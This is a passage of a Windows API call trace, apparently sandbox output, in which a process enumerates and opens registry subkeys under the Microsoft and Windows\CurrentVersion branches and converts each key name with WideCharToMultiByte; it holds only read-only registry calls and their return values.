WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x90c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0041.575] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x90b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0041.575] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x90b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x90c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0041.575] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x90b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0041.576] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x90b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x90c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0041.576] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x90b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0041.576] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x90b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x90c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0041.576] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x90b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x90c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0041.576] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x90b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x90c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0041.576] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x90b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0041.576] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x53f83c | out: phkResult=0x53f83c*=0xa0) returned 0x0 [0041.577] RegCloseKey (hKey=0x24) returned 0x0 [0041.577] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x90b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x90c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0041.577] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x53f83c | out: phkResult=0x53f83c*=0x24) returned 0x0 [0041.577] RegCloseKey (hKey=0xa0) returned 0x0 [0041.577] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x90b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x90c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0041.577] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x90b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x90c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0041.577] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x90b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0041.577] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x90b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x90c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0041.577] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x90b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0041.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x90c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0041.578] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x90b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x90c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0041.578] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x90b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x90c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0041.578] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x90b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x90c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0041.578] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x90b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x90c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0041.578] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x90b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x90c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0041.578] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x90b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x90c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0041.578] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x90b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x90c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0041.579] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x90b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x90c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0041.579] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x90b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x90c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0041.579] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x90b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x90c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0041.579] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x90b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x90c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0041.579] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x90b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x90c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0041.579] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x90b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x90c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0041.579] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x90b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0041.580] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x90b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x90c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0041.580] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x90b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0041.580] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x90b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x90c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0041.580] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x90b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0041.580] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x90b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x90c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0041.580] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x90b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0041.580] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x90b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x90c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0041.581] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x90b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x90c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0041.581] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x90b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x90c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0041.581] 